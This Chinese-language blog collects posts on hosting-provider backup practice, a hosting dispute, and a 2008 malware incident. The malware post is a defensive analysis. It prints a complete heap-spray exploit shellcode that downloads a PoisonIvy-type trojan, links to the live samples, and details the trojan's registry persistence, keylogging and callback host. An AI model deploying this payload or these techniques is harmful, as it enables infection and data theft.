2008-12-28

網路服務供應商有那麼好幹嗎?

最近因為某項爭議話題而花了點時間看了些網路服務供應商的資料,這邊並不對雙方所述作任何主觀判斷,而是由技術性的角度來進行觀察,在看到一些網上的爭議文章&主機進香團介紹文後對於某些網路服務供應商的資料保存安全性居然可以如此兒戲令人感到乍舌.從相關機房設備的照片就可以立即判斷整體架構的災難備援機制似乎是很欠缺的,而且設備照片一出來看在有IDC經驗的工程師眼裡可是會露餡的,從表面上看來除了硬碟可能有RAID外好像就沒看到其他的了,另外讓我長見識的一件事是2U的機架式SERVER用的CD-ROM是一般PC用的(我在機架式伺服器上看到的都是薄型的CD-ROM DEVICE),而且後面居然還可以有音效插頭(現在才發現我真的是孤陋寡聞,可能是因為我之前都是玩IBM/DELL/HP的機器吧,看來這些國際大廠偷工減料所以在機架式SERVER上都不做音效界面 XD ),而由先前與客戶發生糾紛的相關文章來看整個備份機制似乎也不怎麼完善,在我看來只能說這樣的服務提供商心臟非常大顆啊.

以下是我之前寫給從事Web2.0服務的朋友關於網路服務資料保存安全性的一些想法:
===================================

網路服務備援系統的基本概念

提供網路服務時在網路/系統規劃面評估的主要前提是"能容許多久的停止服務時間/能允許遺失多久的資料",當然這個時間是越短越好,但是相對的要做到真正的 24 * 7 * 365 的服務所需投入的成本是很高的,所以必須在現實情況允許下做一個折衷的判斷與規劃.

以下將 硬體/系統/網路 可能發生的 異常狀況/預防方式 依據發生的機率/預防所需之成本依序列出:

=======================
1.跳電導致SERVER重啟
通常是電源/排插過載
出現率: 有時
影響: 重新啟動之短時間內無法提供服務
預防方式:
一般專業的機架型伺服器都會有雙電源設計(第二顆電源通常是選配),IDC也會提供雙迴路電源,將伺服器兩個電源分別配在不同電源迴路上可避免因單一迴路跳電導致SERVER重起

2.硬碟損毀
常見於跳電後偶發.或是硬碟經長期使用後出現壞軌/硬碟電路板燒毀
出現率: 偶爾
影響: 資料遺失
預防方式:
通常是選用 RAID 硬碟容錯機制,RAID-1是兩顆映射使用一顆容量, RAID-5是三顆以上分散寫入並將其中一顆硬碟寫入檢核校驗資料,都可允許一顆硬碟毀損而不影響資料完整性,若情況允許DAID 1/5/0+1 能有熱備援(hot spare)硬碟將會是較安全配置.
另外RAID又有分為SOFTRAID(軟體) & HARDRAID(硬體),一般來說以硬體RAID較具安全性,軟體RAID通常是不得已時才會選擇.

3.網卡/主機毀損/網線中斷
網卡異常或是網線壓製不良導致斷線
主機過熱當機或燒毀(2003年某國際大廠曾出現過整批Server主機板過熱當機瑕疵),長時間使用導致電子零件異常.
出現率: 低
影響: 單點無法連線/提供服務
預防方式:
採用一台以上的SERVER提供服務,配合loadbalance/fail-over機制避免單一SERVER掛點影響服務

4.網路設備毀損
Router/Switch 因跳電或長時間使用導致燒毀
出現率: 非常低
影響: 整組伺服器無法連線/提供服務
預防方式:
對外連線部分IDC都會有及時監控及自動備援線路切換的設計,不過部分網路設備(如SWITCH)毀損必須人為介入進行替換,除非SERVER架構為多網卡搭配雙SWITCH雙路由設定(比較少見,成本高且架構/設定複雜)

5.IDC機房毀損
在台灣我個人是只聽說過一次(某大ISP位於汐止的機房因大樓失火遭波及斷電)
出現率: 極低
影響: 資料/服務完全中止/全死
預防方式:
異地即時資料同步備援 (成本最高)

另外就是備份資料的備份規則及異地存放機制
備份規則當然最理想的情況是在可容許範圍內進行短間隔的完整備份,不過這對於儲存媒體的空間需求是非常大的,所以一般折衷的作法是中等間隔(一週)的完整備份搭配短時間(一天或半天)的差異備份,同時備份檔除了本機硬碟之外也copy一份複本到別台機器或是儲存媒體上,當然如果能傳到其他地點的存放媒體上會是更好的,就像俗話說的"雞蛋不要放在同一個籃子裡",異地存放備份資料起碼客戶資料能有較安全的保障,否則一但硬碟同時死兩顆/或是整台機器燒掉就毀了.

個人意見
要提供收費的網路商業服務,最重要的就是必須確保客戶所輸入/存放資料的安全性,否則真的遭遇到意外時所產生的爭議與造成的損失是難以彌補的,天有不測風雲,主機有旦夕禍福.,凡事不怕一萬只怕萬一,光想靠綠色乖乖來保庇是不切實際的.
(身為服務供應商可以試想,如果哪天真的很不幸的某一台機器死翹翹了,你需要花多少時間替換硬體/資料還原?你的客戶能容忍停機多少時間?能容忍多久的資料遺失? 如果再衰一點IDC出事了,你客戶的資料還能剩下多少?)

同時任何管理/修改資料動作的相關log也最好一併定時備份,配合資料備份一同妥善保存,並訂定一個較保險的備份資料保存期限,以免日後發生爭議時沒有佐證資料可供查詢.

其實這些都是很粗淺且基本的概念,姑且就當作是野人獻曝吧.

後記: 我再寫完以後才跑去看了下網站上的合約內容,看到下面那兩條免死條款以後,感覺是我上面的都是屁話了 XD....

帳號資料備份
客戶應定期使用 建立、下載並保存完整的帳號資料 (包含網頁、郵件及資料庫等檔案) 備份。本服務不保證隨時能提供有效、完整、即時的備份檔案。且不應被要求賠償客戶資料毀損或遺失而造成的損失。
服務中斷、更動及終止
因無法避免(非正常人為因素)的主機維修、設備更新、或無法控制的因素、或需要重新指定客戶服務主機時,本服務有權暫停服務主機的運作,客戶不得要求賠償此段時間內停機的損失。

而且網上搜了搜,還不只一家的條款這樣寫.

最後感想就是:我標題下錯了,不應該用那麼高的規格來評估
所以標題的答案就是 網路服務供應商還真他媽的好幹啊~

2008-12-26

近日主機商爭議懶人包

資料收集,持續更新中 最後更新: 2009-01-12 23:00

2008-12-25 12:03 A.D. Notepad 西元記事本 主機商的權限有多高嗎?非常高!膽子更是跟天一樣高!
2008-12-25 17:25 阿維雜記本 踢爆黑心主機商
2008-12-25 17:59 藍藍路 黑暗部落格 【公告】目前事情的處理態度
2008-12-26 01:29 藍藍路 黑暗部落格 一個動人的故事
 裡面提到的綠色工廠請參閱延伸閱讀部份
2008-12-26 03:07 A.D. Notepad 西元記事本 主機商的臉皮有多厚?非常厚!厚到跟地殼一樣厚
2008-12-26 15:52 藍藍路 黑暗部落格 【公告】最後一次強烈公告
2008-12-26 16:32 A.D. Notepad 西元記事本 藍先生,我,不想再筆下去了。
2008-12-27 00:44 阿正老師在綠色工廠的留言
 為什麼 綠色工廠 會說第三位朋友淪陷了? 請參閱 延伸閱讀部份
2008-12-27 20:49 A.D. Notepad 西元記事本 這裡2年了,沒想到會遇到如此事件,所有的一切,讓時間來證明。
2008-12-28 18:43 A.D. Notepad 西元記事本 相信我,我真的不想食言,但是好朋友一直盧,所以來篇番外特別篇。
 這篇裡面底下那個 "點過來"提供的影片品質不是很好,晃的太厲害了看不清楚,我看了好幾次才大致看懂.
 2008-12-28 22:50 update:目前影片已移除.
 個人意見:平心而論,這樣的東西要當呈堂證供說服力還是不太夠的,不過從中是可以發現一些有趣的地方
 關鍵影格1 關鍵影格2 關鍵影格3
 2008-12-29 09:40 update: 此篇文章原作者已鎖,標題改為 就先這樣吧,靜待司法結果。
 不過blog上的ATOM還可以看到殘留的資料=_=
2009-01-08 19:28 藍藍路 黑暗部落格 【公告】休息後的發文

2009-01-09 00:56
A.D. Notepad 西元記事本 你要挖洞給自己跳,那我也沒辦法,是你自己把洞挖大的。
個人意見:此篇內提供的錄影在12-28的那篇目前被刪的 "相信我,我真的不想食言,但是好朋友一直盧,所以來篇番外特別篇。"文中就有看過了,這個錄影檔感覺上是可以作為該次MSN對話紀錄未被修改的佐證.
但是該次MSN對話紀錄如果不是當事人不太容易理解,很多重點也沒直接點出,如果要光靠這次的MSN記錄說服力還是有點弱.


*New* 2009-01-10 17:29 A.D. Notepad 西元記事本 此事件是否為羅生門?在這做個End吧。

相關評論:

2008-12-26 黑貘來說 黑帽/黑手套 vs 白帽/白手套 的悲哀...
2008-12-25 台灣FTP聯盟論壇相關討論[轉貼] 踢爆黑心主機商
2008-12-26 酷玩意部落格(sharecool.org) 部落客與虛擬主機商的真與假
2008-12-26 淡淡的天空藍 MIS、主機商、皇后的貞操!?
2008-12-27 芯蒂的純屬虛構 又一齣羅生門嗎?
2008-12-27 偉士牌的實驗室 這個聖誕節似乎不太平靜
2008-12-27 robbin.cc 所謂正義與創業的嘴砲
2008-12-27 Smiley Skeleton's Solo 某主機商事件
2008-12-27 芯蒂的純屬虛構 主機商爭議懶人包
2008-12-27 開源節流資訊網 最近發生的一些事…
2008-12-28 小歪碎碎念 網路服務供應商有那麼好幹嗎?
2008-12-28 Deja Vu 對於裕藍和西元記事本事件的看法
2008-12-28 4月17聯絡簿:菜鳥ID保護區 【閒聊】我不是傻,是真的很傻
2009-01-08 初心者站長論壇 相關討論 裕藍多媒體工作室 【公告】休息後的發文

延伸閱讀:
2008-06-04 01:26 綠色工廠 Easylife Blog 遇到不得不退的虛擬主機商
2008-06-06 00:04 綠色工廠 Easylife Blog 不一樣的部落格。主機商的格夠辛辣
2008-06-06 14:08 綠色工廠 Easylife Blog 請不要 Bother 我的親人。探討主機商的行為
2008-12-26 15:51 綠色工廠 Easylife Blog 第三位朋友淪陷了.....主機商猴腮咧!
2008-06-17 AV No.1 Blog 此則留言很奧妙
 "http://lanlanlu.tw/demo.php" ??!!

2008-09-28
486的 大丈夫週記 老師,教師節快樂^^ 一整串留言都很奧妙
2008-10-02 在上面第15號留言中出現的謎樣頁面 http://www.popost.com.tw/486/486.html 團購大亨之肆哥傳奇
 PS:此頁面所在的伺服器www.popost.com.tw ,到 yougetsignal 查了下www.popost.com.tw
 Found 83 domains hosted on the same web server as www.popost.com.tw (61.247.173.202).
 其中有個domain是某當事人之BLOG, 同一台主機...耐人尋味~~

 與上面兩則交叉比對後發現 原來是這件事.. 靠北,我還真他媽的吃飽太撐了
 (keyword:加錢 論壇 in 老師,教師節快樂^^ 第四則留言中的版主回覆)
 以下是另一方當事人的說法
2008-09-09 藍藍路 黑暗部落格 流量大不代表廣告收入高 1/4
2008-09-26 藍藍路 黑暗部落格 流量大不代表廣告收入高 2/4 底下的第四則留言
 "人家是大名鼎鼎的XXX呀!購物界的大哥!"
2008-10-01 藍藍路 黑暗部落格 流量大不代表廣告收入高 3/4
2008-10-14 藍藍路 黑暗部落格 流量大不代表廣告收入高 4/4

*New 2009-01-09 update 上面的486事件後續發展
雖然這件爭議跟本次事件無直接關係,不過既然有網友提供,就一併更新了.
2009-01-09 486的 大丈夫週記 我喜歡有16:9拍攝模式的數位相機。
然後在 這邊的留言內,另一位當事人又留了個圖片網址 *2009-01-10 03:00 update:原圖已遭刪除 圖片備份 XD
囧rz的是.. 那張圖片裡面把對方名字留下自己的相關資料都打模糊,可是百密一疏的是統一編號沒有蓋上..
統一編號去GOOGLE一搜....有一則 "訂單詳細資料" CACHE的頁庫存檔頁面卻把所有個人資料全部都SHOW出來了.那是戰OX的網站..真的有夠靠北咧
案外案: 戰OX 的客戶訂單資料可以這樣被爆光也是一整個扯啦~~資訊鐵胃內心OS: "我怎麼躺著也中槍啊"~~

========================================================
凡走過寫過貼過必留下痕跡
以上皆為網路公開可搜尋1 搜尋2 到的資料,感謝眾網友提供線索

後記: 似乎目前能看到的相關評論較傾向用戶方,而站在主機商那方的輿論較為薄弱.

SRSMT v0.1.8 released

SRSMT - SNMP RRDTool Server Monitoring Tool v0.1.8

此次更新修正

1.首次執行時會出現的file open error( DATA\$SERVERNAME\SYSINFO.txt )錯誤

2.新增加 -hide 參數,於Windows排程中可使用此參數將console視窗隱藏.

細節請參閱http://www.swm.idv.tw/ &檔案中的ChangeLog.txt,

目前版本為v0.1.8 (2008-12-25)

下載位置:

1. http://www.swm.idv.tw/SRSMT_v018.zip

2. http://www.91files.com/?WTIAN9A3RFKLEBK30A9O

MD5SUM 3ab53c1fd2fe2cc50299f1bac4ae09c5 SRSMT_v018.zip 1,585,960 Bytes

2008-12-24

MSN SHELL 所在SERVER遭ARP掛馬??

2009-03-13 update.
這篇員外 Security: 網站轉址攻擊-ARP掛馬 點出了我在2009-03-11時一個判斷上的盲點,如果是要在網路節點中途攔截,若非使用arp spoofing,除非直接打入router,或是作port mirror過去才行,不然理論上是沒法聽到unicast的tcp封包..(這年頭應該不會有人還在用hub吧,何況是IDC..)
另外附上2008-12-24用wireshark錄到的封包樣本 http://www.swm.idv.tw/20081224_cap.zip 有興趣或是手上有2009-03大規模轉址封包樣本的朋友可以抓回去分析比對看看.

2009-03-12 update.
接到網友專家的來信討論,的確我也感覺之前下的結論過於武斷,由行為模式來看是像機房或是骨幹遭到ARP spoofing,但實際封包模式又不太類似,當然也可能是另一種實作的方式.
不過這些都只是我們由外部現況及有限的證據進行猜測,並沒法接觸到問題的真正核心點.
真相到底是如何?我想除非有核心人士出來爆料..否則很快就會被時間給淹沒了..

2009-03-11 update.
經過目前找到的ARP掛馬工具實測ARP 掛馬的作業模式觀察 之後來觀察ARP掛馬的封包特徵,發現ARP掛馬並不會在gateway之外出現兩個封包,而是直接攔截修改封包插入html資訊,所以此次所發現的異常封包似乎不像目前已知的ARP掛馬,由相關封包特徵來看應該比較接近
大規模網頁綁架轉址:威脅未解除,但專家都猜錯了 這篇的分析結果"IP spoofing"
這種攻擊方式應該屬於網路節點中途攔截並搶先送出假造封包.2008年底發生的這個事件跟2009年三月的大規模轉址非常類似,只是2008年底發生時並沒有引起太大的重視罷了。

*2009-03-09 updat.近日大規模網頁綁架模式似乎與此案例有些類似*

*2008-12-29 update. 下載木馬遭更新*

MSN SHELL是很多人會喜歡用的MSN外掛,因為它提供了訊息加密的功能.不過在今天發現了除了有MSN ACCOUNT洩漏的問題外,更嚴重的還是MSN SHELL所在的蒐集資料SERVER可能遭到ARP掛馬(ARP欺騙劫持掛木馬).所造成的影響恐怕非常巨大..

今天(2008-12-24) 電腦一開機登入MSN後小紅傘就報警
'HTML/Infected.WebPage.Gen [virus]'

看起來是IE的CACHE中有中標的可能,不過因為我沒用IE當BROWSER很久了(都用FireFox),
所以就去查了下IE的CACHE目錄,
發現到報警的gol.htm 如下圖



從這裡可以看到gol.htm 是從 http://shell09.msnshell.com/ 過來的,
而且這個request還會把MSN版本,MSNSHELL版本,語系,及使用的MSN ACCOUNT傳回到 shell09.msnshell.com 這台SERVER上去


在IE CACHE中gol.htm的內容是


在最前面被插了個 長寬都是0的 iframe,連到

http:// 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / i n d e x 3 . h t m (URL用空格處裡了,以免被誤按)
抓下這個 index3.htm來看

明顯就是個掛馬的檔案,我這邊還沒時間去分析它的內容.
看起來像是針對前兩天MS才公佈的IE7漏洞修正.

另外這個IFRAME中連結的60.248.23.20是 台灣的IP,

再來分析為什麼 shell09.msnshell.com (222.73.57.115)會被掛木馬,而且時有時無.

從封包來看
request gol.htm 後回來的第一個封包就被插了iframe


但是http header中的server information是Tiny Httpd.
而接下來的才是正常封包

http header中的server information是 Apache/2.2.4 (Unix)
這才是 shell09.msnshell.com (222.73.57.115)的http server吐出來的封包.

另外再測試 直接 request shell09.msnshell.com (222.73.57.115) 網站根目錄的情況,



也是一樣,先來個TinyHttpd吐出的 iframe然後才是Apache2回應的403

所以推測 MSN SHELL負責收集訊息的 shell09.msnshell.com (222.73.57.115) 這台伺服器所在的機房網段應該是有其他機器中了ARP掛木馬病毒,才會硬插吐iframe出來 ??


有用MSN SHELL的朋友請提高警覺,同時立即進行WINDOWS &病毒碼的UPDAET.否則稍一疏忽就有中標的可能.


後記
1. 60.248.23.20 這台機器是一間台灣公司 "上麥資訊"的機器.
不知道是自己放的木馬還是被當成僵屍?

2. index3.htm 確定是利用前幾天的IE7 0Day漏洞攻擊, 看來現在類似這種的掛馬方式都是出來一份以後大家抄來抄去改來改去的. XD
而其中的
spray(a1+"9090"+"%u8b55%u81ec%ub4c4%ufffe%u60ff%u05eb%u458f%uebe8%ue845%ufff6%uffff%u7468%u7074%u2f3a%u362f%u2e30%u3432%u2e38%u3332%u322e%u2f30%u6174
%u6978%u412f%u7463%u7669%u5865%u652e%u6578%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%ud233
%u30b2%u8b64%u8502%u78c0%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u4589%u83fc%u3cc0%u008b%u4503%u83fc%u78c0%u008b
%u4503%u8bfc%u2070%u7503%ue9fc%u0134%u0000%u458f%uc7d8%uf845%u0000%u0000%u7d8b%ufcd8%u28eb%u5756%ub950%uffff%uffff%uc032%uaef2%ud1f7%u4d89%u58f4
%ue85f%u0176%u0000%u758d%u03b8%uf875%u1689%u035e%uf47d%u4583%u04f8%u3f80%u7500%u47d3%u8d57%ub8b5%ufffe%u56ff%uff68%u0000%uff00%uc055%u45c7%u73d8
%u6264%uc72e%udc45%u7865%u0065%u45c7%u00e0%u0000%uc700%ue445%u0000%u0000%u758d%u56d8%ubd8d%ufeb8%uffff%uff57%uc855%u45c7%u75d8%u6c72%uc76d%udc45
%u6e6f%u642e%u45c7%u6ce0%u006c%uc700%ue445%u0000%u0000%u758d%u56d8%u558b%u8dbc%uec7d%u00be%u8860%ub97c%u0006%u0000%ua4f3%u32e8%u0001%u8900
%ufc45%u758d%ubfec%u6000%u7c88%u06b9%u0000%uf300%u5fa4%uff57%ufc75%u7d8d%u64ec%u04a1%u0000%u8900%u6407%u08a1%u0000%u8900%u0447%uc764%u0405
%u0000%u0000%u8860%u647c%u05c7%u0008%u0000%u6000%u7c88%u55ff%u89b8%ub485%ufffe%u8dff%uec75%u068b%ua364%u0004%u0000%u468b%u6404%u08a3%u0000
%u6a00%u6a00%u8d00%ub8bd%ufffe%u57ff%u75ff%u6ae8%uff00%ub495%ufffe%u6aff%u8d00%ub8b5%ufffe%u56ff%u55ff%u6acc%uff00%ud055%uc7e8%ufffe%u47ff%u7465%u7250
%u636f%u6441%u7264%u7365%u0073%u6f4c%u6461%u694c%u7262%u7261%u4179%u4700%u7465%u6554%u706d%u6150%u6874%u0041%u736c%u7274%u656c%u416e%u6c00
%u7473%u6372%u7461%u0041%u6957%u456e%u6578%u0063%u7845%u7469%u7250%u636f%u7365%u0073%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54%u6946%u656c
%u0041%u56eb%u508b%u5718%u5251%u8b56%u0336%ufc75%uf3fc%u5ea6%u595a%u745f%u8306%u04c6%u754a%u8be8%u1848%uca2b%ue1d1%u508b%u0324%ufc55%ud103
%uc933%u8b66%ud10a%ud1e1%u8be1%u1c50%u5503%u03fc%u8bd1%u0312%ufc55%uff5b%u58e3%u00b9%u8860%u517c%u01c6%u8968%u0141%u41c6%uc305%ue2ff");這一長串,解開後可以在裡面發現藏了下載的URL ,

h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e (為避免意外發生,一樣在每個字元中間加了個空格)
改天有空在來研究下牠到底幹了些啥

3. 抓下來的ActiveX.exe 丟到 Virustotal 上的分析報告

File ActiveX.exe received on 12.24.2008 17:25:37 (CET)
Current status:finished Result: 9/39 (23.08%)

AntivirusVersionLast UpdateResult
a-squared4.0.0.732008.12.24-
AhnLab-V32008.12.25.02008.12.24-
AntiVir7.9.0.452008.12.24-
Authentium5.1.0.42008.12.24W32/PoisonIvy.E.gen!Eldorado
Avast4.8.1281.02008.12.24-
AVG8.0.0.1992008.12.24BackDoor.PoisonIvy
BitDefender7.22008.12.24Trojan.Downloader.Agent.ZCR
CAT-QuickHeal10.002008.12.24-
ClamAV0.94.12008.12.24-
Comodo8092008.12.24-
DrWeb4.44.0.091702008.12.24-
eSafe7.0.17.02008.12.24-
eTrust-Vet31.6.62762008.12.24-
Ewido4.02008.12.24-
F-Prot4.4.4.562008.12.24W32/PoisonIvy.E.gen!Eldorado
F-Secure8.0.14332.02008.12.24W32/PoisonIvy.gen22
Fortinet3.117.0.02008.12.24-
GData192008.12.24Trojan.Downloader.Agent.ZCR
IkarusT3.1.1.45.02008.12.24-
K7AntiVirus7.10.5642008.12.24-
Kaspersky7.0.0.1252008.12.24-
McAfee54732008.12.23-
McAfee+Artemis54732008.12.23-
Microsoft1.42052008.12.24Backdoor:Win32/Poisonivy.E
NOD3237162008.12.24-
Norman5.80.022008.12.24W32/PoisonIvy.gen22
Panda9.0.0.42008.12.24-
PCTools4.4.2.02008.12.24-
Prevx1V22008.12.24-
Rising21.09.22.002008.12.24Trojan.Win32.Undef.vir
SecureWeb-Gateway6.7.62008.12.24-
Sophos4.37.02008.12.24-
Sunbelt3.2.1809.22008.12.22-
Symantec102008.12.24-
TheHacker6.3.1.4.1992008.12.23-
TrendMicro8.700.0.10042008.12.24-
VBA323.12.8.102008.12.24-
ViRobot2008.12.24.15342008.12.24-
VirusBuster4.5.11.02008.12.24-

Additional information
File size: 11776 bytes
MD5...: 68fb7e446198055cece63ae002065f98
SHA1..: f3528e710b6e73741fca0d5ffb4f31022616ab30
SHA256: 8e25f68a836b0c562cd575ff3b56f2073df4414d102eb97e0cf79a7c5423340b
SHA512: 9a456f53c90685f24eab8da8bfd95ce959b6f582831f5ec7f8598ba135844311
f782fabd1d8a33f582f860426b24915b4f3fec24f2bbb81fa417ce03a59a7876
ssdeep: 192:p3yFbGZTscP4oyn+5MYNmtNJD5UxMpuYGunUQGdD4RxvjqbqUA2cm4RX2Q3M
7Sfr:JOGZYi4o5MYNAJD5UyuYVnUQG9axvjqW
PEiD..: Armadillo v1.71
TrID..: File type identification
Win32 Executable Generic (42.3%)
Win32 Dynamic Link Library (generic) (37.6%)
Generic Win/DOS Executable (9.9%)
DOS Executable Generic (9.9%)
Autodesk FLIC Image File (extensions: flc, fli, cel) (0.0%)
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x4013c0
timedatestamp.....: 0x49503e0f (Tue Dec 23 01:25:35 2008)
machinetype.......: 0x14c (I386)

( 3 sections )
name viradd virsiz rawdsiz ntrpy md5
.text 0x1000 0x515 0x600 5.28 4bdf9e12b88dc8c76c7e22d733e4e4e4
.rdata 0x2000 0x2b4 0x400 3.42 9480d3dc61527ddfacb7fb9373fbcc60
.data 0x3000 0x1e60 0x2000 7.82 984d3ad35e502800c4b95c340aeb5ae4

( 2 imports )
> MSVCRT.dll: _adjust_fdiv, __p__commode, __p__fmode, __set_app_type, __setusermatherr, _controlfp, _initterm, __getmainargs, __p___initenv, exit, _XcptFilter, _exit, __CxxFrameHandler, _except_handler3, __3@YAXPAX@Z
> KERNEL32.dll: lstrcpyA, lstrcatA, CreateFileA, WriteFile, CloseHandle, WinExec, ExitProcess, GetModuleFileNameA

看來檢出率還不是很高

4. 2008-12-26. 從這兩天的訪客來源看,有不少是搜 60.248.23.20 & gol.htm 過來的,看來已經有不少人都發現這情況了吧.

5. 抓下來的ActiveX.exe 我在封閉環境測試執行後會生出 C:\WINDOWS\system32\mftp.exe & 123.bat(這是run完後把自己幹掉的batch檔),然後在HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 底下生出一個名稱是 svchost.exe 的啟動執行項目去執行 C:\WINDOWS\system32\mftp.exe ,不過奇怪的是 mftp.exe 跟 ActiveX.exe 是一模一樣的檔案(比對MD5SUM完全相同),好像也沒看到做其他事情..可能需要再進一步分析..

6. 2008-12-27 目前60.248.23.20這台機器似乎是無法連線了,不知是已經發現處裡了還是無法負荷過量的連線需求,在 2008-12-24該台機器還能連線時我有測試過,那是台Windows 2000的機器.

7. http://www.swm.idv.tw/60.248.23.20_torjan.zip 這是從2008-12-25 從 http:// 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / i n d e x 3 . h t m & h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 抓下來的檔案,解壓縮密碼為 60.248.23.20 ,有興趣者可以抓回去研究研究 (!!小心!!)

8.2008-12-28 目前這個ARP掛木馬iframe index3.htm 的災情似乎有擴大的趨勢,現在已知受影響的站點還有 forum.vbulletin-china.cn (125.89.79.139), 也是一樣應該是受到ARP綁架掛馬的波及.

9.2008-12-29 update
拿nmap掃了下 60.248.23.20 這台機器 (Windows 2000)
發現有開啟的port如下
Discovered open port 3389/tcp on 60.248.23.20 Windows RDP
Discovered open port 21/tcp on 60.248.23.20 FTP
Discovered open port 8888/tcp on 60.248.23.20 ????
Discovered open port 5800/tcp on 60.248.23.20 VNC-HTTP
Discovered open port 5900/tcp on 60.248.23.20 VNC
Discovered open port 1433/tcp on 60.248.23.20 MS-SQL
估計是沒人管的機器被當黑進去利用了

今天測試 h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 這個檔案居然有改版了, 之前抓下來的是
ActiveX.exe 2008-12-23 09:25 11776 bytes md5sum:68fb7e446198055cece63ae002065f98
今天發現已經換成新的了
ActiveX.exe 2008-12-26 15:07 12800 bytes md5sum:4405441a2b01ad5fce015cdd5a8c80fe
這個檔會被我裝的小紅傘攔截到TR/Dldr.Agent.12800.3 [trojan].(先前的不會), 估計先前那個是拿來做實驗不然就是沒寫好的.
把他丟到 Virus.Org 去分析 (因為virustotal好像掛了)

The following represents the test results from the virus scanners used by the Virus.Org scanning service when it performed the scan on the file 'ActiveX.exe_20081229_TORJAN'.

File: ActiveX.exe_20081229_TORJAN
SHA-1 Digest: 9ad1f1b647d6266a2a7dd4e7ee5b1d091bc7ce7f
Size: 12800 bytes
Detected Packer: Microsoft Visual C++ v5.0/v6.0 (MFC)
Status: Infected or Malware (Confidence 30.43%)
Date Scanned: Mon Dec 29 12:03:22 +0000 2008

Scanner Scanner Version Scanner Engine Scanner Signatures Result Scan Time
A-Squared 4.0.0.29 N/A 1230552006 Clean 30.88 secs
Arcavir 1.0.5 N/A 14:07 13-12-2008 Clean 21.83 secs
avast! 1.0.8 N/A 081228-0 Win32:Rootkit-gen 73.27 secs
AVG Anti Virus 7.5.52 442 270.10.1/1867 Clean 70.36 secs
Avira AntiVir 2.1.12-100 7.9.0.45 7.1.1.45 TR/Dldr.Agent.12800.3 107.02 secs
BitDefender 7.81008 7.22837 2390111 Trojan.Downloader.Agent.ZCR 23.78 secs
CA eTrust N/A 31.06.00 31.06.6274 Clean 21.35 secs
CAT QuickHeal 10.00 N/A 29 December, 2008 Clean 77.78 secs
Comodo 3.0 3.0 834.4321976 Clean 10.70 secs
CPSecure 1.15 1.1.0.715 26/12/2008 10:37AM Clean 101.28 secs
Dr. Web 4.44.0.10060 4.44.0.9170 494777 Clean 73.74 secs
F-PROT 4.6.8 3.16.16 20 November 2008 Clean 62.52 secs
F-PROT 6 6.2.1.4252 4.4.4.56 200812282035 W32/PoisonIvy.E.gen!Eldorado 32.33 secs
F-Secure 1.10 6392 2008-12-29_03 Backdoor.Win32.Poison.ous [AVP] 94.35 secs
Ikarus T3SCAN 1.32.4.0 1.01.45 2008-12-29 04:57:50 Clean 108.05 secs
Kaspersky 5.7.13 1367201 29-12-2008 Backdoor.Win32.Poison.ous 211.55 secs
McAfee Virusscan 5.30.0 5.3.00 v5477 Clean 51.25 secs
Norman Virus Control 7.00.00 5.93.01 5.93.00 Clean 175.55 secs
Panda 9.04.03.0001 1847194 28/12/2008 Clean 26.53 secs
Sophos Sweep 4.36.0 2.81.2 4.36 Clean 63.30 secs
Trend Micro N/A 8.700-1004 736 TROJ_POISON.LO 10.59 secs
VBA32 3.12.8.10 N/A 2008.12.28 Clean 54.87 secs
VirusBuster 2005 1.3.4 4.3.23:9 9.144.53/11.0 Clean 44.53 secs



而這個新的 h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 如果被下載執行了以後,會發生的動作如下
a.將自己複製一份到 C:\WINDOWS\system32\svahost.exe
b.在registry的
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
新建一筆開機執行
"svchost"="C:\\WINDOWS\\system32\\svahost.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{6605C18D-7259-D9DB-F7B2-7EF7712E0D2A}
"StubPath"="C:\\WINDOWS\\system32\\svahost.exe"

c.紀錄所有執行程式&滑鼠鍵盤動作in C:\\WINDOWS\\system32\\svahost 紀錄內容如下
=================================================================
trlAltCtrlAlt??    * - WINDOWSsysum 2Num 8Num 6Enter?sva?    +  KVMware Accelerated AMD PCNet Adapter (Microsoft's Packet Scheduler) : Capturing - Wiresharkum 2Num 2Num 2Num 2??    -  m 匯出登錄檔案aaa?    - + ?aaa.reg - 記事本trl?
=================================================================
d.試圖連線到 lovepi.8800.org tcp_port 80 (121.10.214.100[廣東汕头市])

很明顯就是一隻木馬程序.

10. 2008-12-31 update. 那隻新的 h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 已經有專業分析報告出來了

11. 2009-01-02 update. Google 搜尋 60.248.23.20 那個木馬頁面能被搜到了, 囧~~


而那個 http://60.248.23.20/taxi/index3.htm 中的特徵
var mystr ="http://rਊr.book.com";
可以從GOOGLE用 rਊr 搜尋 會有原理介紹.
Virus Total 針對 index3.htm的解析報告 ActiveX.exe的解析報告

12. 2009-03-09 update. 最近(2009三月初)爆出cnet/msn taiwan也有出現莫名轉址的情況,
這陣子因為雜務過多沒花太多時間去追這次大規模轉址攻擊的相關證據,不過由網上有人擷取到封包來看,也是第一個http回應封包前面被插了iframe,跟之前發現的模式很相近.
去年(2008)聖誕節前後的事件因為受影響的網站知名度普遍不夠高,所以並沒有引起廣泛的重視..相關資訊去GOOGLE搜尋 60.248.23.20 可以找到一些受害者的資料.
如果還不知道什麼是ARP掛馬,請GOOGLE一下吧
GOOGLE找 ARP+掛馬 結果是 約有102,000項符合ARP 掛馬的查詢結果,可是把搜尋範圍鎖定在台灣的網頁,就只有469項符合ARP 掛馬的查詢結果.
ARP掛馬前兩年在中國的IDC裡面老早就被人玩爛了,很訝異台灣居然討論的人那麼少.
